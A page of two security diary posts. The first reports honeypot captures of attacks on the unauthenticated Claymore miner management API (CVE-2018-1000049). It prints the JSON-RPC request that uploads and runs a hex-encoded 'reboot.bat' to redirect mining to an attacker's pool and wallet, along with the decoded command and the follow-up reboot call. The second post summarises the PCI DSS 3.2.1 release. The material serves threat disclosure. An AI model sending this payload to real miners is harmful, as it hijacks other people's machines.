Insecure Claymore Miner Management API Exploited in the Wild
We have seen a notable increase in scans for port 3333/tcp in the wild. Port 3333 is used by a variety of crypto coin miners and mining pools.
Our honeypot, around the same time, started seeing more requests like the following (I added spaces to allow the line to break):
{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","4574684463724d696e657236342e657865202d6570 6f6f6c206574682d7573322e6477617266 706f6f6c2e636f6d3a38303038202d6577616c2030786430383937 6461393262643764373735346634656131386638313639646263303862656 238646637202d6d6f64652031202d6d706f72742033 333333202d6d707377206775764a746f43785539"]}
The hex string converts with "xxd -p -r" to:
EthDcrMiner64.exe -epool eth-us2.dwarfpool.com:8008 -ewal 0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7 -mode 1 -mport 3333 -mpsw guvJtoCxU9
Now I have no idea why someone would have the unauthenticated JSON RPC of their miner exposed to the internet, but then again, these attacks are targeting people who are into cryptocoin mining, so everything is possible.
The command above is then followed by a reboot request:
{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
The scan is consistent with a vulnerability, CVE-2018-1000049, released in February [2]. The JSON RPC remote management API does provide a function to upload "reboot.bat", a script that can then be executed remotely. The attacker can upload and execute an arbitrary command using this feature. The port the API is listening on is specified when starting the miner, but it defaults to 3333. The feature allows for a "read-only" mode by specifying a negative port, which disables the most dangerous features. There doesn't appear to be an option to require authentication.
[1] https://www.exploit-db.com/exploits/44638
[2] https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|
PCI DSS version 3.2.1 is out
I know I can hear the collective groan out there. It is ok though the changes in this release are few and no real changes in the controls themselves. It just formalises those controls that were best practice until February 2018 and June 2018. These are now part of the requirements so can no longer be marked as Not Applicable.
What will you need to do? Not much really, you should have already implemented the controls that were best practice until earlier this year. The other deadline of removing early TLS is coming up. However, the majority of you will have already addressed this. If not you will be non compliant by July 1 2018.
The current standard 3.2 will be valid until December 31 2018, so you can still certify to it, but there isn't any real benefit to doing that.
The standard can be downloaded from the council's website. There is also a "these are the changes" document.
(https://www.pcisecuritystandards.org/document_library?category=pcidss&document=pci_dss) .
Cheers
Mark H - Shearwater
Comments